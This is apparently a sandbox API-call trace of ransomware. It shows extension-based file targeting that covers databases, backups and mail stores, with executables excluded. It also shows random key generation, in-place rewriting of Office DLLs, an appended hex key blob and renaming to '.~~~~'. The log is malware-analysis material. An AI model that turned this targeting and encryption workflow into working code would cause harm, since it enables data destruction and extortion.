	[0079.166] lstrlenW (lpString=".DBF") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DBF") returned 0x0
	[0079.166] lstrlenW (lpString=".EQL") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".EQL") returned 0x0
	[0079.166] lstrlenW (lpString=".FDB") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".FDB") returned 0x0
	[0079.166] lstrlenW (lpString=".EDB") returned 4
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".EDB") returned 0x0
	[0079.166] lstrlenW (lpString=".DACPAC") returned 7
	[0079.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.167] lstrlenW (lpString=".VHD") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".VHD") returned 0x0
	[0079.167] lstrlenW (lpString=".DBV") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DBV") returned 0x0
	[0079.167] lstrlenW (lpString=".dacpac") returned 7
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dacpac") returned 0x0
	[0079.167] lstrlenW (lpString=".sdf") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".sdf") returned 0x0
	[0079.167] lstrlenW (lpString=".accdb") returned 6
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".accdb") returned 0x0
	[0079.167] lstrlenW (lpString=".DBX") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DBX") returned 0x0
	[0079.167] lstrlenW (lpString=".MDT") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".MDT") returned 0x0
	[0079.167] lstrlenW (lpString=".SQB") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".SQB") returned 0x0
	[0079.167] lstrlenW (lpString=".vhd") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".vhd") returned 0x0
	[0079.167] lstrlenW (lpString=".bac") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".bac") returned 0x0
	[0079.167] lstrlenW (lpString=".mdf") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".mdf") returned 0x0
	[0079.167] lstrlenW (lpString=".BAK") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".BAK") returned 0x0
	[0079.167] lstrlenW (lpString=".BAC") returned 4
	[0079.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".BAC") returned 0x0
	[0079.168] lstrlenW (lpString=".dbs") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dbs") returned 0x0
	[0079.168] lstrlenW (lpString=".vhdx") returned 5
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".vhdx") returned 0x0
	[0079.168] lstrlenW (lpString=".NDF") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".NDF") returned 0x0
	[0079.168] lstrlenW (lpString=".dat") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dat") returned 0x0
	[0079.168] lstrlenW (lpString=".DBS") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DBS") returned 0x0
	[0079.168] lstrlenW (lpString=".CKP") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".CKP") returned 0x0
	[0079.168] lstrlenW (lpString=".edb") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".edb") returned 0x0
	[0079.168] lstrlenW (lpString=".PST") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".PST") returned 0x0
	[0079.168] lstrlenW (lpString=".dbf") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dbf") returned 0x0
	[0079.168] lstrlenW (lpString=".SQL") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".SQL") returned 0x0
	[0079.168] lstrlenW (lpString=".pst") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".pst") returned 0x0
	[0079.168] lstrlenW (lpString=".dbv") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dbv") returned 0x0
	[0079.168] lstrlenW (lpString=".SDF") returned 4
	[0079.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".SDF") returned 0x0
	[0079.168] lstrlenW (lpString=".dtxs") returned 5
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dtxs") returned 0x0
	[0079.169] lstrlenW (lpString=".db3") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".db3") returned 0x0
	[0079.169] lstrlenW (lpString=".OST") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".OST") returned 0x0
	[0079.169] lstrlenW (lpString=".dbx") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dbx") returned 0x0
	[0079.169] lstrlenW (lpString=".DB3") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DB3") returned 0x0
	[0079.169] lstrlenW (lpString=".DAT") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DAT") returned 0x0
	[0079.169] lstrlenW (lpString=".VHDX") returned 5
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".VHDX") returned 0x0
	[0079.169] lstrlenW (lpString=".ndf") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".ndf") returned 0x0
	[0079.169] lstrlenW (lpString=".DB") returned 3
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DB") returned 0x0
	[0079.169] lstrlenW (lpString=".sql") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".sql") returned 0x0
	[0079.169] lstrlenW (lpString=".MYD") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".MYD") returned 0x0
	[0079.169] lstrlenW (lpString=".DBT") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DBT") returned 0x0
	[0079.169] lstrlenW (lpString=".ACCDB") returned 6
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.169] lstrlenW (lpString=".fdb") returned 4
	[0079.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".fdb") returned 0x0
	[0079.170] lstrlenW (lpString=".bak") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".bak") returned 0x0
	[0079.170] lstrlenW (lpString=".myd") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".myd") returned 0x0
	[0079.170] lstrlenW (lpString=".DTXS") returned 5
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".DTXS") returned 0x0
	[0079.170] lstrlenW (lpString=".ckp") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".ckp") returned 0x0
	[0079.170] lstrlenW (lpString=".dbt") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".dbt") returned 0x0
	[0079.170] lstrlenW (lpString=".db") returned 3
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".db") returned 0x0
	[0079.170] lstrlenW (lpString=".TXT") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".TXT") returned 0x0
	[0079.170] lstrlenW (lpString=".MDF") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".MDF") returned 0x0
	[0079.170] lstrlenW (lpString=".bdb") returned 4
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".bdb") returned 0x0
	[0079.170] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.170] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.171] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0079.172] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19916194199) returned 1
	[0079.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x990ce070, dwHighDateTime=0x1d60e1e)) 
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4b8
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4b8 | out: hHeap=0x300000) returned 1
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0079.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0079.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.173] GetLastError () returned 0x0
	[0079.173] GetLastError () returned 0x0
	[0079.173] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.173] GetLastError () returned 0x0
	[0079.173] GetLastError () returned 0x0
	[0079.173] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0xa990, lpOverlapped=0x0) returned 1
	[0079.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff5670, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.304] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xa990, lpOverlapped=0x0) returned 1
	[0079.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.307] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.307] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.307] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.307] CloseHandle (hObject=0x130) returned 1
	[0079.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.307] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.~~~~")) returned 1
	[0079.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.308] GetLastError () returned 0x0
	[0079.308] RtlWakeConditionVariable () returned 0x365f70
	[0079.308] GetCurrentThreadId () returned 0x9cc
	[0079.308] GetCurrentThreadId () returned 0x9cc
	[0079.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b640 | out: hHeap=0x300000) returned 1
	[0079.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.309] lstrlenW (lpString=".scr") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".scr") returned 0x0
	[0079.309] lstrlenW (lpString=".cmd") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".cmd") returned 0x0
	[0079.309] lstrlenW (lpString=".dll") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dll") returned 0x0
	[0079.309] lstrlenW (lpString=".bat") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".bat") returned 0x0
	[0079.309] lstrlenW (lpString=".cpl") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".cpl") returned 0x0
	[0079.309] lstrlenW (lpString=".sys") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".sys") returned 0x0
	[0079.309] lstrlenW (lpString=".msc") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".msc") returned 0x0
	[0079.309] lstrlenW (lpString=".com") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".com") returned 0x0
	[0079.309] lstrlenW (lpString=".lnk") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".lnk") returned 0x0
	[0079.309] lstrlenW (lpString=".msp") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".msp") returned 0x0
	[0079.309] lstrlenW (lpString=".pif") returned 4
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".pif") returned 0x0
	[0079.309] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0079.310] lstrlenW (lpString=".sqb") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".sqb") returned 0x0
	[0079.310] lstrlenW (lpString=".ost") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".ost") returned 0x0
	[0079.310] lstrlenW (lpString=".txt") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".txt") returned 0x0
	[0079.310] lstrlenW (lpString=".mdt") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".mdt") returned 0x0
	[0079.310] lstrlenW (lpString=".BDB") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".BDB") returned 0x0
	[0079.310] lstrlenW (lpString=".eql") returned 4
	[0079.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".eql") returned 0x0
	[0079.310] lstrlenW (lpString=".DBF") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DBF") returned 0x0
	[0079.311] lstrlenW (lpString=".EQL") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".EQL") returned 0x0
	[0079.311] lstrlenW (lpString=".FDB") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".FDB") returned 0x0
	[0079.311] lstrlenW (lpString=".EDB") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".EDB") returned 0x0
	[0079.311] lstrlenW (lpString=".DACPAC") returned 7
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.311] lstrlenW (lpString=".VHD") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".VHD") returned 0x0
	[0079.311] lstrlenW (lpString=".DBV") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DBV") returned 0x0
	[0079.311] lstrlenW (lpString=".dacpac") returned 7
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dacpac") returned 0x0
	[0079.311] lstrlenW (lpString=".sdf") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".sdf") returned 0x0
	[0079.311] lstrlenW (lpString=".accdb") returned 6
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".accdb") returned 0x0
	[0079.311] lstrlenW (lpString=".DBX") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".DBX") returned 0x0
	[0079.311] lstrlenW (lpString=".MDT") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".MDT") returned 0x0
	[0079.311] lstrlenW (lpString=".SQB") returned 4
	[0079.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".SQB") returned 0x0
	[0079.311] lstrlenW (lpString=".vhd") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".vhd") returned 0x0
	[0079.312] lstrlenW (lpString=".bac") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".bac") returned 0x0
	[0079.312] lstrlenW (lpString=".mdf") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".mdf") returned 0x0
	[0079.312] lstrlenW (lpString=".BAK") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".BAK") returned 0x0
	[0079.312] lstrlenW (lpString=".BAC") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".BAC") returned 0x0
	[0079.312] lstrlenW (lpString=".dbs") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".dbs") returned 0x0
	[0079.312] lstrlenW (lpString=".vhdx") returned 5
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".vhdx") returned 0x0
	[0079.312] lstrlenW (lpString=".NDF") returned 4
	[0079.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL", lpSrch=".NDF") returned 0x0
	[0079.312] lstrlenW (lpString=".dat") returned 4
